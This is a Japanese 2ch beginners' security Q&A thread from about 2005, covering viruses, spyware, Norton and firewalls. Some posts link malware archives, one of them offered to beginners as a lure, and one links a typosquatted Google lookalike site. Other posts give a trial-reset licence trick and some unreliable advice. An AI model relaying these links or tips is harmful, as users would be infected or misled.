>>101 >>102
板違い。ダウソ板逝け。

>>93
人に見られて困るファイルを保護すりゃいい事くらい判断出来ないのかね
それにどのファイルを見られたら>>93が困るかなんて他人が分かるわけねーな

自分の恥ずかしいファイルすら他人に聞かないと分からないとは
ちょっとは自分で考えろよ

ちと用があって4時間ぐらい米サイト回っていたが
Ad-ware　25匹
Spy-bot　8匹
のスパイウェアを削除。

受1034578バイト　送384900

これは普通？

最近、やたらとメッセージボックスが開きます。
上には「WINDOWSから***,***,***,***（IPアドレス）へのメッセージ」とあり、
最下段には「ＯＫ」ボタンのみ。

内容は全て英語で何かの案内みたいなのですがよくわかりません。

MsgBoxが開くのはいいのですが、
連続で２０も３０も開くので、閉じるのが大変です。
原因と対処方法を教えていただければと思います。

XP（SP1）でAVGとADawareを使っています。

宜しくお願いします。

>>106
トラッキングクッキーならまあそんなものか

>>107
どうせ使わないならメッセンジャーサービス自体を停止

>>108
ありがとうございます。
メッセンジャーサービスの停止はどのようにしたらいいのでしょうか。

川合一族とかいうのがTCP139に来たんだが、なんだこいつらは・・・ｗ

教えて下さい。
DOS窓で、いま開いているポートを確認するコマンドを度忘れしまして。

>>108
あ、いや。スパイウェア削除して
送信345643　受信1020289(バイト)をやってるのです。

むう・・スパイウェアを取りきれてないのかな？

思い出しました。

ここって本当に高スキルなひとがいるんですか？

質問ですyahooメールを使ってたんですがzipファイル形式でW32.Netsky.P@mmが送られてきましたダウンロードしたんですがＺｉｐを解凍せずに
ウイルス感染することはないですよね？マカｆヒーが強くウイルススキャンを進めてくるのですが

無ぇ。どんな手段にせよ、実行されメモリ上に展開されないと感染じゃ無ェ。

>>109
「コンパネ→管理ツール→サービス」でできる
どのサービスを止めるべきかは自分でよく調べて考えるように

あと慣れないうちはこのテのソフト（↓）を使った方が簡単に元に戻せるので良いかも
ttp://www.vector.co.jp/soft/winnt/util/se342838.html

質問です

OS:Windows2000SP4
PC：自作
PFW：ｳｲﾙｽﾊﾞｽﾀｰ2006の機能

さて、バスターのファイアウォールのログを見るとHHS.PIFというモノがポート135と445辺りで何かしてるみたい
コイツは一体なんなんですか？ほっといても平気？

>>116
ありがとうございます！！

インターネットセキュリティのレベルのカスタマイズで
ローカルのファイルを指定することはできますか？

信頼済みサイトにローカルファイルを登録できますか？
でした。

質問です

ブロードバンドルータにつながってる複数のＰＣはどれでもインターネットに
つながるわけですが、特定のＰＣだけ普段はローカルＬＡＮだけ使用できて
インターネットとは切り離す、必要な時だけネットをつなぐという事はできないかと
考えてます。

現在ＺＯＮＥＡＬＡＲＭを使っているのですが、通信ロックをしてしまうとネットも
ローカルＬＡＮも全部切り離してしまうようですし、トラストゾーンに追加しても同じ事、他の
フリーのＦＷ色々とあるわけですが、ローカルＬＡＮだけ通してネットを切り離す
という機能のあるＦＷなどを教えて下さい、よろしくお願いします。

XP/ノートンアンチウィルスを使っています。(バージョンは忘れました･･･。)


ウィルスをノートン側で削除しないで、ファイル自体を削除してしまい、
検疫も削除もできない状態になってしまいました。

なんか邪魔っぽいので消したいのですが、
消せるものなのでしょうか・・・？

PC再起動したら画面が上下にもごもご動いて止まらなくなりました。
ウイルスだと思うのですが、対処法よろしくお願いします。
酔いそう・・・

【使用OS】windowsXPhomeSP2
【WindowsUpdateしてるか】している
【AntiVirusは何を使っているか】ノートンインターネットセキュリティー２００５
【ちゃんとUpdateしてるか】最後にしたのは２週間ぐらい前だったとおもいます。
【スキャンした結果（ウイルス名・発見場所）】不明
【別のオンラインスキャンしたならその結果は】不明
【症状を具体的に、分かる限りすべて書く】
パソコン起動時にデスクトップが表示されてから、いつものように数秒待っていたら、
いきなり」ブルースクリーンがでて、その後、winddows自体が起動できなくなりました。
起動時こんな文字が出ます。

次のファイルが存在しないかまたは壊れているため、



【何をしたらそんなことになったのか】
おそらく
【これまでにとった措置】

【その他の質問】

途中で投稿してしまいました。すいません。
【症状を具体的に、分かる限りすべて書く】
パソコン起動時にデスクトップが表示されてから、いつものように数秒待っていたら、
いきなり」ブルースクリーンがでて、その後、winddows自体が起動できなくなりました。
起動時こんな文字が出ます。

次のファイルが存在しないかまたは壊れているため、windonwsを
起動できませんでした。
\windos\system32\config\system

オリジナルセットアップCD-ROMからwindowsセットアップ
を起動して、このファイルを修復できます。
修復するには、最初の画面で`R`キーを押してください。

と出ます。

【何をしたらそんなことになったのか】
2chであったゲームをダウンロード→解凍したんですが、起動できなかったので削除しました。
そのせいかもしれません。

【これまでにとった措置】
セットアップするためのデータは壊れているHDに入っているんで、どうすればいいかわかりません。

【その他の質問】
windowsやセーフモードがまったく起動できず、困っております。
NECのLaVie LT500/6です

スレ違い。
だけど書いとくと、リカバリーCDは持っていないのか?

よくわからなかったんで、初心者ってあったんで、ここで聞きました。
よく探したら、ほかにあるんですね。行ってきます。
リカバリーCDはついてなくって、買ったときにHDにデータとしてついているんです。
一応、ディスク化できるみたいだったんですが、しないままにこの状態になってしまいました。orz
今、家族のPCから書き込んでいます。

>>123
ウィルススキャンして何もでなかったら恐らくグラフィックボードの故障。
新しいパソコンなら修理に出せるかも知れんけど、
古いパソコンならパソコン丸ごと買い換えしかないと思われ。

>>74を・・

ノートン使えねぇな

>>113
知らないならともかく忘れただけで
いちいち質問するようなバカは相手にしないだけ

ノートンの９０日無償期間がもうすぐ切れるんですけど切れたらどうなるんですか？
他のソフトに切り替える場合ノートンをアンインストールをしなくちゃいけないですか。

うん

>>132
それ続けて使いたければアンインストール後にまたインストールすると
無償期限がリセットされてあと90日使えるようになるよ

騙しちゃいけんぞ

そろそろZoneAlarm を卒業したい厨なオイラに次のステップアップFirewallをおすすめして下さい。

age忘れました。

>>134-135
嘘じゃないよ。俺は5月に買った富士通の2005年春モデルPCにバンドルされてた
NIS2005を再インストールしてまだ使ってるもん。ただ、ノートンの場合、きちんと
アンインストールすることが肝心。アンインストールの仕方はノートンスレに貼って
あるテンプレを見るといよ。

アンチウィルスとかいらんよ。

>>136
ステップアップという観点ならSygateをお勧めしてみたい
ZoneAlarm風な使い方もできる一方でより高度な設定も可能

OS再インストールしたのでWindアップデートして
XP1の必要なものは全部入れました
セキュリティが心配なので
http://www.microsoft.com/japan/technet/security/current.aspx
ここで更新しようと思ってDLしてるんだけど
量があまりに多くて挫折しそうです
IEだけでも山ほどあるんですが全部最新の05の10月のから04年まで入れないとだめですか？
久しぶりのOS入れなおしで勝手がわかりません
IE>バージョン情報はこうなってます

Ver:6.0.2800.1106xpsp2.050301-1526
更新Ver：SP1; Q823353 Q903235

>>141
普通はな。IEは脆弱性だらけだし。
つか、低速回線なの？

すみません、教えて下さい。＜OS WinXP SP1 ノートン2002 ブラウザ：スレイプニル＞
以下のカキコミのＵＲＬに飛んだら謎のポップアップが出た後にスレイプニルがフリーズしました。

574 (´ｰ`) ネ才 ◆W9Zx7OFw4I 2005/10/24(月) 21:58:37 ID:wtyfW/b1
グーグルのTOPページが大変なことになってる
http://www.googkle.com

すぐにブラウザを立ち上げなおしてサイトをググったらグーグルに似せたウイルス満載
のサイトと言うことがわかりました。しかし、ウイルスチェックしても発見されませんし、上記のサイトにも飛べなくなりました。
このサイトは一回だけしか見れないウイルスサイトとかなのでしょうか？

半年寝てたとしか思えない

http://pc8.2ch.net/test/read.cgi/sec/1114650396/

使用期限がきれていなのに、何ヶ月もノートンが更新されません。
どうしてなんでしょうか？
詳しい人教えてください。
宜しくお願いします。

すみませｎ。ほんとすみませｎ。
大手プロバイダーのウイルスカットサービス（数百円？）さえ入っておけば
割り高なウイルス対策ソフトは必要ないのでしょうか。

みなさんもそのあたり興味がありますよね？？
なにとぞご返信お願いします。

>>146
1か月数百円だろ？　ま、かりに500円とする。
500×12ヶ月＝6000円。NIS買えますよ

あんた、業者の人？　それともネタ？

ちょっと待って下さい。
無料のところもあるでしょ？？
例えばBIGLOBEとか無料でしょ？？

俺今、OCNなんだけどウイルスソフトのお金が毎年
ばかばかしいからBIGLOBE他に乗り換えようと思ってるんです。
どなたか本当のことを教えて下さい。お願いします。

>>145
おれも、True Image(Windows丸ごとバックアップするやつね)とか
使っているから、（マカフィーの更新）できないことがあるよ。
とりあえず、アンインストールして、再インストールだな。
不正使用していないなら、シマンテックに直接聞くのが一番はやくて正確。
あとこのスレで質問すると、答えが返ってくるかも。
【ﾉｰﾄﾝ】ｲﾝﾀｰﾈｯﾄｾｷｭﾘﾃｨ Ver.75【2006】
http://pc8.2ch.net/test/read.cgi/sec/1129889189/

>>148
BIGLOBEは光回線と、イーアクセスの一部がプラス百円で、
普通のADSLは＋600円くらいだよ。おれBIGLOBEだし。

ホームページチェックはノートンだから、すり抜ける場合を考えて
内部にやっぱりマカフィー入れてるのね。

あと、アッカもプラス100円だっけかな。ライトコース（ホームページチェックとかなし）も、
−100円であるよ。っておれが業者みたくなってるしｗｗｗｗ

ということは当該サイトは完全に閉鎖されてるんでしょうか？もう一度いったらNotFoundではなく白い画面のみ。
ポップアップは別のスパイウェア？

>>149
不正使用なんてしてないし、そんなにパソコン詳しくありません・・
シマンテックですが、いつも話中になっていて電話が繋がらないんです。
期限が切れたら、トレンドマイクロに変えようと考えています。
良く見たら3ヶ月更新されてなかったみたい・・
これじゃウイルスソフト入れてる意味ないですよね・・
一度アインストールしてみます。
教えてくれてありがとうございました。

>>152
ttp://cowscorpion.com/Antispy/adaware.html
ttp://cowscorpion.com/Antivirus/bitdefender.html
これをDLして、最新の状態にしてスキャンして。
ちょっと古いんだけど使い方は（英語なんで）
ttp://bitdefender.gooside.com/
ttp://enchanting.cside.com/security/adaware.html

＞154
ありがとうございます。スパイウェア発見されませんでした。
ＧＯＯＧＫＬＥのＵＲＬを踏んだ時もノートン先生は反応しませんでした。

>>140
thx。Sygateやってみます。

>>148
プロパイダで防御されるのはメールレベルだけと思って桶。
他の方法で入り込まれたら防御できない。

だから各々のパソコンにインストールするウイルス防御ソフトが有る。

セキュアドって取得する価値ありますか？

※ウイルスの速報
■Mocbot.Aが悪用するのは、「MS05-047」ではなく「MS05-039」だった
http://internet.watch.impress.co.jp/cda/news/2005/10/25/9604.html
当初、Windows XP/2000におけるプラグアンドプレイの脆弱性「MS05-047」を突いて
侵入するとされていたウイルス「Mocbot.A」だが、実際にはMS05-047ではなく、
8月に公開された別のプラグランドプレイの脆弱性「MS05-039」を突くウイルスだったことがわかった。

■2005/10/26で対応しているアンチウイルス製品
ウイルスバスター
http://www.trendmicro.com/vinfo/virusencyclo/default5.asp?VName=BKDR%5FMOCBOT%2EA
F-Secure（カスペルスキー含む）
http://www.f-secure.com/weblog/archives/archive-102005.html#00000685
McAfee
http://vil.nai.com/vil/content/v_136637.htm
ノートン
http://securityresponse.symantec.com/avcenter/venc/data/w32.mocbot.a.html

WinXP SP1
IE6SP1使用
Yahoo!!BB12M
NECのﾜｲﾔﾚｽﾙｰﾀｰを使用
avast!＆spybotを使用

MSNのサイトに行こうとすると勝手にasahi.comにいってしまいます
PC初心者板で多分ｳｲﾙｽといわれましたが詳しい事はわかりませんでした
対処法があれば教えて下さい

質問です。PCをネットに繋いだまま、5時間程放置していたら、WindowsMediaPlayerとOEが勝手に起動していました。(サーバーに接続できませんでした、みたいな表示あり)。
FWのログを見てみると、telnetとなっていました。
ホスト名はなにやらアングラ系のサイトでした…。(WMPはそのアングラ系のムービーに接続しようとしていたみたい)
そのアングラ系なサイトには一度も行った事ありません。
ルーターのポートは閉じてあったのですが…。ｼﾏﾝﾃｯｸのｵﾝﾗｲﾝｾｷｭﾘﾃｨﾁｪｯｸをやっても問題無かったです。
これってやはりハッキングされたのでしょうか？
一体どんな悪さをされたのでしょうか？
教えて下さいませ。
[OS]WindowsXP
[FW]ルーター側のFW

どの板（スレ）で尋ねたらいいのか迷いましたが、とりあえずここに来ました。
板違いかもしれませんが教えて下さい。

ある画像をアプロダサイトにうｐしました。しかし、そのJPGファイル（約1.8MB、1枚の画像）を
試しに自分のパソコンにＤＬしてみると、画像が断裂、つまりは完全じゃない壊れたファイルと
なっていたのです。何度うｐし直しても、アプロダサイトを変えてうｐしても結果は同じ。

そこで直接ファイルをうｐしたのがまずいのかと思い、たった1枚の画像ではありますが
ZIPファイルに圧縮して再度うｐしました。そして試しにまたＤＬすると、
今度は落としたZIPを展開するときに「ファイル読み込みエラー」となって
とにかく画像を見ることができません。
これも、何度やり直そうがアプロダサイトを変えようが、やはり結果は同じ。

ずっと前はこんな経験なかったのです。
実は数ヶ月前にノートンで、個人情報漏洩防止の設定をしました。
で、今回久々にうｐをしたのですが、アプロダサイトにファイル送信中、
初めて「○○（←苗字）の個人情報が送信されようとしています。」といった
警告がなされたのです。
「遮断（推奨）」が選択されてるので、そのままＯＫを押しました。
そして何事も無くうｐ作業は済んだかと思われたのです。

ですが、上記のような事が起こってしまって・・・。
この現象は、やはりこのノートンの設定が原因なのでしょうか？
どなたかぜひご回答よろしくお願いします。

ブロードバンドルータ（以下、ルータ）について質問です。
ルータがハッキング（クラッキング）されることはありますか？
確かルータのWAN側ポートにはグローバルアドレスが設定されていたと思うので、
もしかしたらあるのではないかと不安を感じています。
仮にあるとした場合、ユーザ名を変更したりパスワードを設定したりしておけば
とりあえずは大丈夫ですか？

私も>>42と全く同じ症状です
リカバリ直後になぜ
その後どうしましたか？

>>164
リカバリー直後は脆弱性の穴だらけだから、ファイアーウォールなしでネットに繋ぐとワームに直ぐにやられる。
何故じゃねぇんだよ。
WindowsUpdateを理解してねえようだな。
今の所感染しないのは、最初からSP2になっている製品だけ。

>>164
おまえのようなのばっかしだから、ネットワーク上からワームが消えないんだよな。
自分だけ症状がなくなればそれでいいやと、完全に削除しないでネットワークに繋いでいるから、
第2、第3の被害者を生み続けてワームが消えない。

俺は被害になんて逢わないからどうでもいいけどな！

リカバリーによる再インスコはただの上書きに過ぎないから
データが残ってたりしますよ。
リカバリCD-ROMが有る場合に限りますが
OS再インスコ時は面倒でもDESTROYなどのユーティリティで
フォーマットごと潰した方がいいですよ。
（ただのリカバリだとHDDの容量少なくなってたりするし・・・）
http://www.vector.co.jp/vpack/filearea/dos/util/disk/index.html

>>167
そんないい加減な事を言うな！
OS側のファイル認識のロジックなどを知っていたら言えない事だぞ。
リカバリーはファイルの復元方式じゃなくて、物理的なセクタ書き込み方式。
完全なデタラメだから無視してよし！

はぁ？

>>169
空きセクタ領域のクリアをしたければ復元て言うソフトで出来る。
機密情報の復元とかをされて困るなどの理由がない限りは、リカバリー時になど気にする必要なし。

>>167
うちのＰＣはリカバリCD-ROMを使ってリカバリするとまずＨＤＤが初期化されますが、何か？

26の者です。ewido・BitDwfender・NOD32と無料、登録なしで使えるものも試してみましたがやはり何も検出されませんでした。
どなたか何か情報があればよろしくお願いします。

>>172
何かのスクリプトが動いて登録しているだけ
さっさとリカバリーすればいいだけだ
おまえには何も言う事はない。一生悩んでいろや。

>>172
はい、これでもう一回。直らなかったら、OS入れ直した方がいいね(・∀・)
ttp://www.f-secure.co.jp/v-descs/disinfestation.html

オレンジ色のアイコンでシェアウェアで
トロイ？かウィルスがないかスキャンしてくれるソフトの名前わかりますか？
ド忘れしてしまって…
アイコンのマークは「E」だったかも

ewido

>>176
それだ
即レスありが�d

現在、2chを専ブラではなく、IEでみています。
ノートンインターネットセキュリティ2005を使っています。
これから2ch専ブラにしたいと思っています。
注意書きを見ていたら2ch専ブラでノートンだとおかしくなるようなことがありました。
しかし、「ノートンインターネットセキュリティ2005はデフォルトでかきこめます」
とも書いてありました。これは2005だとおかしくならないといういみでしょうか？
私がこれから2ch専ブラを導入してもおかしくならないでしょうか？

今日になってネットワークのローカルネットワーク内に勝手にネットワークが追加されていました。
これはなんだあああ

>>178
＞私がこれから2ch専ブラを導入してもおかしくならないでしょうか？

あなたはきっとおかしくなるでしょう

>>179
さっさとリカバリーしろ　バカ

すみません。3日間調べましたが分かりません。

WinnyでＤＬした動画か音楽関連のファイル（メディアプレイヤー関連のアイコンでした）を
Ｗクリックしたところ、メディアプレイヤー起動後、ビジー状態になりました。
少し待ってもメディアプレイヤーがビジー状態のままだったので、タスクマネージャで強制終了し、
ＰＣを再起動しました。

ところが、ＰＣ起動後、WinnyのＤＬ用にしていたＨＤＤがフォーマットされてしまい、読み取り
不可になってしまいました。
その後ＰＣの調子もわるくなり、ＮＥＴにつながり辛い状態が続いています。
「接続の修復」をすると一時つがるようにはなるのですが、数分するとすぐにつながり辛い状態になってしまいます。

ブラウザについてなのですが、火狐にするかOperaにするか
迷っています。
どなたか、この迷える子羊に良い知恵をお与えください。

>>182
Winnyを狙ったワーム･ニュイルス情報 Part45
http://tmp5.2ch.net/test/read.cgi/download/1130044998/
こっちできけ

>>183
WindowsUpdateさえしとけばIEで十分だ

>>112
トロイはavast!、Bitdiffender８共に検出は出来ない？全然反応無し
他にもオンラインスキャン(トレンド、マカフィー、シマンテック)も反応はしない

後、スパイウェアAd-wareとSpybotにEMCO　Malawareで検索したけど反応無し･･

>>185
コメントどもです！
セキュリティ面はIEでもよいということですね。
でも、タブブラウザを利用したいのですよ。

>>186
全部常駐シールドで反応するんだよ　厨乙
それにどのトロイだか知らねえけど、.exeでもなけりゃ感染などしねえよ

>>106
何で丸裸で「ウィルスに感染するスレ」のリンクを全部踏んでも何にも感染しないのにおまえが感染するんだ？
当然WindowsUpdateは最新の状態だけどな

>>187
IE系のタブブラウザ使えばいいじゃない

AVG Free Edicion って無料で使えるソフトなんでしょうか？

>>190
う・・・。初心者なんでもっと詳しく頼むよ。
それってLunascapeとかいうやつ？

>>191
氏ね

ブロードバンドルータ（以下、ルータ）について質問です。
ルータがハッキング（クラッキング）されることはありますか？
確かルータのWAN側ポートにはグローバルアドレスが設定されていたと思うので、
もしかしたらあるのではないかと不安を感じています。
仮にあるとした場合、ユーザ名を変更したりパスワードを設定したりしておけば
とりあえずは大丈夫ですか？

>>194
ルーター自身じゃないけれど、サーバーが立っていてポートを開いているのなら、
そのプロセスの脆弱性があれば乗っ取られるだろう。
ルーター自身はバッファオーバーフローの脆弱性だろうから、ルーターがダウンするくらいだろう。

>>192
IE系タブブラウザ de google

>>195
ありがとうございます。

>>194
ある

プロパイダや企業で使われているCISCOのルータなぞは
セキュリティアップデートがあるぐらい
YAMAHAのようにまじめに情報公開しているところあれば
何もしないメーカも有る。

>>195
セキュリティホールによっては乗っ取る事も可能
うそ書くな

>>195
心配すんな　ルーターのプログラムの詳細がわからないと乗っ取っても無意味だ。
その先のパソコン側にも脆弱性がないと、実際に何も出来ないしな。

無線ランでネット接続していたパソが壊れたので、新しくパソを購入しました。
そのパソは無線ラン内臓なので何の設定もしないまま、自宅のモデムに無線ラン
接続して使用していたのですが、気がついたらいつの間にかウィンドウズのファイヤー
ウォールが無効になっていました･･･（ノートンはお試し期間だけ使用中）

慌ててノートンを購入し、有線で接続していたところ、ノートンのセキュリティ警告
（コンピュータにアクセスしようとするリモートコントロールを検出しました。）
の画面が現れました。
これってすでに誰かにパソを乗っ取られていたってことでしょうか？
乗っ取られていたとしたら、どこまでの情報が漏れていたのでしょうか？

>>164
オプションリカバリしたら綺麗になるかな？と、パーティション変えて再度
リカバリして、再びネットにつないでセキュリティソフトを入れ、ここで一度
スキャン、今度はひっかからず。
ＳＰ２にアップデートし、ＡＤ入れてスキャン、スパイウェアが７つ
出ました。
dcz.exeは、ＳＰ２を入れたとたん、ブロックしますか？と聞いてくるので
ブロックして、レジストリの値３箇所を消しました。(怖いので、本体は
消さず、プロパティで読み取り専用にしています。prefecth内のpfが
この本体なのかどうかわかりませんし)
今のところ、これで影響は出ていません。その後動いてもいないようです。
とはいえ、滅多に立ち上げないし、ネットもそうつないでいないのですが。

マカフィーのファイヤウォールと二重でブロックかけてますが、
スパイウェアは、２日で10個くらい拾ってますね…。
ただ、その後ウィルスはひっかかってこないです。

> 再びネットにつないでセキュリティソフトを入れ
これ順序逆だろ。ポート445が開いてるとmytobにやられるしｗ

>>201
FW2重にしてんのか('A`) ？

リカバリしたらまずXP付属のFWをオンにして
ネットにつないでアップデートすればいいとでも言うのか？

質問させて頂きます。OS XP Proを使ってるのだけどAvastは使える？
セキュリティセットV2に入ってるから、Avastに入るくらいでいいのかなぁ…

>>202
すみません、逆とは？ＳＰ２を先に入れておくべきだったってことでしょうか。
あれ結構ＤＬに時間かかるので、怖くて先にファイヤウォール設定したかったんですよ。

>>203
二重ですｗ
職場のＰＣも二重に入れてますが、そのほうがいいみたいな表示が出ていたので。

>>206
おまえんところのSE基地外じゃね？

>>206
セキュリティソフト（ファイアウォール）を入れてから、ネットに繋ぐという意
SP2は、去年の今ごろ、家電量販店で、帰り際に貰う、これ常識。

2chに書き込むにはどうしたらいいんですか？

今のままでいいのさ

なんか送信者ｑawibpt7だけで件名、メール内容なしって以前TVでやってた
メール開くだけでカード番号とか送信してしまうスパイウェアでしょうか？
削除しましたが不安です、一応ノートンで個人情報管理してますけど・・。

初心者のために。

スパムメール＝詐欺メール

詐欺師問い合わせメールや、収集したスパムメールの詰め合わせ。

http://up.isp.2ch.net/up/52a4fe0d25eb.zip

久しぶりに再会した友人にメアド交換してメールした。
そいつの返事が来る前から迷惑メールが急増した。
パソコンからメアドを抜いて業者に売るウイルスとかスパイウェアとかあるのか？

おまいは浦島太郎か？

お薦めのウイルスソフトを教えてくれ。
どれもこれも決定打にかけるんだよなぁ。

>>215
ウィルス詰め合わせインストーラー

環境はwinxp sp2 ,Norton antivirus,
FWはウィンドウズデフォルトのです
昨日、ニュー即で枚方市の爆発事故のスレでキンタマが張られていた、
とありました
どれがそれにあたるかよくわからなかったので、とりあえずantidote
でウイルスチェックをして、それでは感染なしでした
これだけでキンタマに感染していない、と安心してもいいでしょうか

怪しげな海外サイトに飛ばされ(ﾌﾞﾗｸﾗ)、Ad-Awareでスパイウェア駆除したはずなんですが
次に電源入れたらまたスパイウェア＆壁紙設定していたのが初期状態になっていました。
アンチウィルスにはavast入れてて常駐のやつにもひっかからなかったようです。
これはウィルスか何が原因なんでしょう。

>>217
大丈夫。nyやってなければ。マイクロソフトが駆除ツール配布しているので試してみては？
>>218
多分スパイウェア。トロイとかにも感染してそう。セーフモードでもう一度スキャンして、
心配なら、ノートンやマカフィーなどの試用版（30日or90日）をDLして、インストールしてスキャン。

>>219　そうですか、ありがとうございます。試してみます。

>>220は>>218でした。

runaplj.exe
っていう名前のexeファイルがあったんですけどこれってウイルスでしょうか？
ググッて調べてみても詳しく解説してるサイトはありませんでした

ｗｏｒｍ−ｓｐｙｂｏｔ−ａｋｌ
これってウィルスだよね
どうやって駆除したらよいの？

すいません・・・　City of herosとか言うメッセージが出て
Ｃドライブが変なアイコンになってしまいました
どうすれば良いのでしょうか・・・　
教えて下さい　宜しく御願いします

>>212
Netskyとかいっぱい入ってんぞ
初心者にそんなもの上げてどうすんだ

もう一回繰り返して質問。初心者板なんだから大目にみてね。
ネットでスパイウェアの一般的解説を読んでみたけれど、
メアドを収集してどこかへ報告し、スパムを送りつけてくるという
スパイウェアの事例は書いてなかった。
こういうスパイウェアってあるの？

板違い

そいじゃどこで聞いたらいいの？

初心者はとりあえずどんなセキュリティーソフト入れとけばいいんでしょうか？
買ったPCにはマカフィー30日だけです
ノートン、バスター、インターネットセキュリティー
この辺り良く聞きますけど
重いとか性能差とか知りたいです
それとも無料ソフトで事足りるんでしょうか

ﾊﾞﾘｭｰｽﾀｰ､XP､CPUｾﾚﾖﾝ2.9GB､ﾒｲﾝﾒﾓﾘ512メガ ﾏｶﾌｨｰ90日分を仕様してます
最近ｳｲﾙｽにやられCドライブのみ再ｾｯﾄｱｯﾌﾟしました｡
一昨日の定期更新からパソがおかしくなりました｡
おかしくなったというより一秒置きくらいに
砂時計がﾊﾟﾊﾟﾊﾟってついたり消えたりしてなんかつねに処理してるみたいです｡
たまになるのは当たり前ですが一区間置きに繰り返されてます｡
ﾈﾄｹﾞとかやるときも同じ間隔で処理落ちするようになりました｡

ﾌﾟﾛｾｽを確認したら半日おきくらいに1つづつ増えていってるのですが(只今55)
これはｳｲﾙｽ?ﾏｶﾌｨｰの最新でチェックしたら反応なしなんです｡
なにもしてないのにたまにCPU使用率が一瞬0から40〜60まで跳ね上がります｡
あきらかに今までにはない症状です｡
どう対処すれば今までみたいに快適にできますか?
長い文章で申し訳ないですがよろしくお願いいたします

>>920
ｱﾝﾁ ｳｲﾙｽｿﾌﾄを入れてない奴がネットをするな

どっかのスレで見た言葉で（´・ω・） ｽ

はやくリカバリしたほうがいい（´・ω・） ｽ

的確な答えだね...

>>219
亀ですが、ﾄﾝ
駆除ツール試してみて、シロでした

初級ネットワークスレで質問しましたが、レスがつかないのでこちらで聞きます。

ＷＩＮ２０００serverをファイルサーバーとしてファイルを共有しています。
クライアントは９８、２０００、ＸＰと数種類あります。

ある共有ファイルが削除されてしまいました。
犯人探しをするわけではないのですが、ある時間帯にアクセスした端末ＩＤを
特定したいのですが、どのように調べればいいのでしょうか？

犯人探し以外にないじゃん

>>230の質問したものです｡
ﾘｶﾊﾞCDがないのでまたCドライブのみ再ｾｯﾄｱｯﾌﾟしてみました｡
一応状態はふつうになったようなんですが
これで安心なんでしょうか?

>>230
スタート→dcomcnfg→Enterキー

サービス→Indexing　Serviceプロパティ→スタートアップを手動にする。

質問です。SCS（SymantecClientSecurity3.0）をインストールしました。
ファイアウォールを入れたいのですが、
「Symantec Client Firewall Administrator」はあったのですが、
「Symantec Client Firewall」の機能が見つからず設定を適用できません。
前者は管理用、後者はファイアーウォールそのものだと勝手に
思っているのですが・・・。ヘルプを見てみて分からなかったもので
質問しました。知っている方がおられたら、お知恵をお貸し下さいませ。
（初心者なのでアドバイスも歓迎します）

ちょっと追記です、不正アクセス監視の為に会社で入れるので少し困っています。

＞Symantec Client Firewallで使用するルールとクライアントの設定を含めたポリシーを作成・編集することができるツールです。
ネットで記述を見つけました。でも、ディスクの中を捜してインストールしても
、AntiVirusとFirewallAdministratorしかありません。なぜ？
2000Serverだからという訳ではないでしょうし。

＞本製品の最大の特長は、「クライアント・ファイアウォール」を統合している点にあります。
と公式に書いてあるのにない〜。

>>240
普通、会社で使うならSymantec社員を直接迎えるか何かするけど・・・

>>242
どうもです。中小企業なもので。無償でやれるなら、提案出来るかもしれません。

これttp://www.fox-er.com/up3/src/fox1479.zip を踏んで、
中身はTrojan.Dropper.Winny.Aらしいです。
ノートンやバスターでは検出できないんですが、やはりリカバリーしたほうがいいでしょうか？

ADW_GAIN.Hなるものを見つけたのだが　なんだろう？

アドウェアの一種らしいが

>>244
BitdefenderではTrojan.Dropper.Winny.Aと検出しました。誤検出かもしれん・・・。

はい。Bitdefenderではそうでるらしいんですが、
誤検出だったとしたら、これは無害なんですかね？
でも解凍したら、新しい種類のファイルですみたいなダイアログがでてきたので、あきらかに怪しいとは思うんですよね。。

>>243
企業で使うものに無償だなんて虫の良いこといっても始まらない。
そういう事言って企業防衛に金出せないのならつぶれたって仕方がない。

で、結論から言うと「君のマニュアルの見方がたらない」から見つからない。
それに不正アクセス監視の全てにClient Security 3で対応できるわけじゃない。

なぜそれを選んだ？

なんか10秒毎に増えていって44個になった。
隔離されたみたいだが・・

一応トレンドマイクロに通報しておいた

>>247
トレンドマイクロのオンラインスキャンしてみ。誤検出ではない。

>>250
ああ・・たぶんADW_GAIN.Aの亜種か・・

というわけで解決sage

>>244
それ.zipじゃなくて拡張子は.exeだから、解凍出来ないしそのままなら害はない。
適当に削除すればよい。

248>
ファイアーウォールソフトが見つからない。AntiVirusとFirewallAdministratorしか
見つからない。マニュアルを探してみます。

トレンドマイクロのオンラインでは検出されませんでした。
今シマンテックのオンラインやってますが、1個検出されてます。なんででしょう。。うちのでは検出されなかったのに。。。
>>252　でもファイルをダブルクリックしちゃったんです。。

ダブルクリックしたのかよｗ

zip形式だと思ったので。。今1万ファイル検索済みで四つ検知されてます。
次分のノートンで検知できないのはウイルスにやられてるからでしょうかねぇ・・。

新しくパソコンを買った時に
アンチウイルスソフトのアップデートとWinのアップデート
どちらを優先するべきですか？

>>257
まず、ゲイシ会長に挨拶ついでにWinのUpだて（OSはXpSp2と仮定）

Sc-Keylog Pro 3.2
ってのが検出されたんだが
やばいのかな

フォルダを空にしてカーソールをフォルダに合わせるとフォルダは空です。って表示されますよね
それなのに容量が表示されるんですが、これってなんですか？

>>260
Desktop.iniでもあるんじゃないのか

>>256
おまえもわからんやつだねえ
そのままの.zipファイルをダブルクリックして開いたって、何も解凍されねえだろうよ
俺がそのファイルの正しい拡張子は.exeだと言っただろうよ
.zipの拡張子を.exeに変更した上で開いたら当然感染する

ＭＳＮのメッセが知らない人から送られてきたんだけど、
セキュリティー情報が漏れたりすることってある？

>>262　なるほど！解凍したときに出たダイアログはウイルスによるものではなく、
正しい拡張子じゃなかったから出たものなんですね！お答えくださったみなさんありがとうございました。

AMD K6-2 333MHz Win98 ﾉｰﾄ
ｾｷｭﾘﾃｨｰｿﾌﾄですができるだけ軽いのがいいのですがおすすめはありますか

ソースネクストのウイルスセキュリティやV3 ウイルスブロック などはどうですか

>>265
その２つはどっちも軽い部類に入るかな後、同価格帯ではウイルスキラーとか。無料で言えば
AVはAntivir、AVG。FWはOutpost Free、Kerio V2とか色々ある
いずれもスレがあるから、覗いて体験版試してみるのを勧める

購入したパソコンにマカフィーウイルススキャン９０日がついていました
OSはXP　sp2です
ルーターは使っていません

この状態でネットサーフィンって危険でしょうか？
spyウェア検出ソフトは探して入れるつもりです
ファイアーウォールに関して心配です
ルーターを購入すればソフトは別途用意しなくてもいいんでしょうか？

>>267
XPのFWが有効か解らんけど危ないし、ルーター付ければ安心って訳じゃない
ルーター+FWが理想だけど、それが無理なら>>6から何らかのソフト
入れた方がいいよ。FW使うのが初めてなら、Zonealarmを入れてみては

すいません、質問です。
あるファイルをダウンロードしたらそれは通称「ふえるわかめ」と
呼ばれる物で誤ってそれを解凍しました。
